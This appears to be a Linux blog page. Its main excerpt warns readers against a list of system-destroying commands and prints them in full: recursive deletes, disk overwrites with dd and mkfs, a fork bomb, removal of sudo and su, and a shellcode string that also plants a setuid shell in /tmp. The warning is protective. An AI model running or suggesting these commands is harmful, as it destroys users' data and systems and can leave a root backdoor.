16 GB encrypted candy file

Update: as far as cryptoloop is vulnerable and is not maintained I don’t recommend using below approach for creating encrypted for for those of you who require strong security. Use truecrypt to create encrypted filesystem within a file instead. Today it came to my mind that it is time to make sensitive information stored on my usb flash drive encrypted but still transportable and easy to use. But I don’t want […]

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13 Linux lethal commands

dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as "rm -rf /":

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

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VMware server console keyboard problem in Ubuntu Intrepid Ibex

Few days ago I have upgraded my Ubuntu to latest 8.10 (Intrepid Ibex) and found that keyboard just doesn’t work in VMware Server Console. The problem was that I couldn’t use keyboard under guest operating system including Windows, Linux etc. After few hours of research I found simple solution which works for me: $ setxkbmap $ echo “xkeymap.nokeycodeMap = true” >> ~/.vmware/config After this restart vmware-server-console and see if it […]

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WPA Wi-Fi encryption is now cracked

Network security researcher Erik Tews found a way to brake TKIP (Temporal Key Integrity Protocol) used by WPA in order to read the data being sent from router to Wi-Fi laptop or PC. It takes from 12 to 15 minutes to crack WPA encryption according to statements made by PacSec conference organizers where Erik will demonstrate the procedure. PacSec 2008 Conference will be held on November 12/13, 2008, at Aoyama […]

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FAQ: How to order pizza from Linux CLI?

Q: How can I order my favourite pizza by using Linux command line interface? A: Well… You can use Pizza Party application written by Cory Arcangel and Michael Frumin! Here are some features this outstanding application provides: Can order pizza with only a few keystrokes. Can save pizza preferences. Can use batch files for ordering many pizzas. Has easy to use flags for ordering different toppings. Runs on most UNIX-like […]

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